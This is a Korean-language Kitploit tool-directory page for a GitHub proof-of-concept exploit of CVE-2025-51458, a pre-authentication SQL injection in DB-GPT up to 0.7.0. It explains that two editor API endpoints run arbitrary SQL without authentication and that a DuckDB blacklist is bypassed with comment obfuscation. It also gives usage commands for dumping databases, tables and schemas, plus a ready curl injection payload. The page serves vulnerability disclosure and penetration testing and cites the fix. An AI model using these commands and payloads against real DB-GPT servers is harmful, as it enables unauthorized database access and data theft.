Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-51458-exp — CVE-2025-51458 - DB-GPT 사전 인증 SQL 인젝션 PoC | Kitploit
도구/GitHubGitHub/q1uf3ng/cve-2025-51458-exp
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubq1uf3ng/cve-2025-51458-exp

CVE-2025-51458-exp

CVE-2025-51458 - DB-GPT 사전 인증 SQL 인젝션 PoC

저장소 보기
114개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-51458-exp

DB-GPT <= 0.7.0의 사전 인증 SQL 인젝션

개요

/api/v1/editor/sql/run 및 /api/v1/editor/chart/run 엔드포인트는 인증 없이 임의의 SQL을 허용합니다. sanitize_sql 블랙리스트는 DuckDB만 다룹니다. MySQL, PostgreSQL 및 SQLite 연결은 필터링 없이 원시 사용자 입력을 받습니다. DuckDB 블랙리스트 자체는 주석 난독화(SEL/**/ECT)를 통해 우회될 수 있습니다.

이는 CVE-2024-10835 및 CVE-2024-10901의 우회입니다.

  • CVSS: 6.5 (중간)
  • 유형: CWE-89 (SQL 인젝션)
  • 인증: 필요 없음 (사전 인증)
  • 영향: DB-GPT <= 0.7.0
  • 수정: PR #2650

사용법

root@kitploit:~
# List databases
python3 exp.py http://target:5670 --list-dbs

# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"

# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables

# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db

# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interactive mode
python3 exp.py http://target:5670 <db_name>

빠른 PoC

root@kitploit:~
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
  -H "Content-Type: application/json" \
  -d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'

참고 자료

  • NVD
  • Gecko Security Blog
  • 수정 PR #2650
도구 다운로드